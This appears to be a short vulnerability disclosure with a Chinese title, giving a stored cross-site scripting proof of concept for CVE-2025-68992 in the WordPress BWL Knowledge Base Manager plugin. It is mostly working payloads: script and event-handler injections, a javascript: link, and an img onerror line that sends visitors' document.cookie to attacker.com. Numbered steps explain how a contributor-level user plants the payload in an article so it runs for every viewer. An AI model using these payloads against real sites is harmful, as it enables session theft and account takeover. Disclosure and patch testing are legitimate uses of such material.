CVE-2025-68992 WordPress BWL Knowledge Base Manager 存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-68992 --> <!-- Attack Vector: Inject malicious JavaScript via Knowledge Base content --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using img onerror handler --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Method 3: Using event handlers --> <div onmouseover=alert('XSS')>test</div> <a href="javascript:alert(document.domain)">Click me</a> <!-- Recommended PoC steps: --> <!-- 1. Login to WordPress with contributor+ role --> <!-- 2. Navigate to Knowledge Base > Add New Article --> <!-- 3. Insert XSS payload in title or content field --> <!-- 4. Publish the article --> <!-- 5. When any user views the article, XSS will execute -->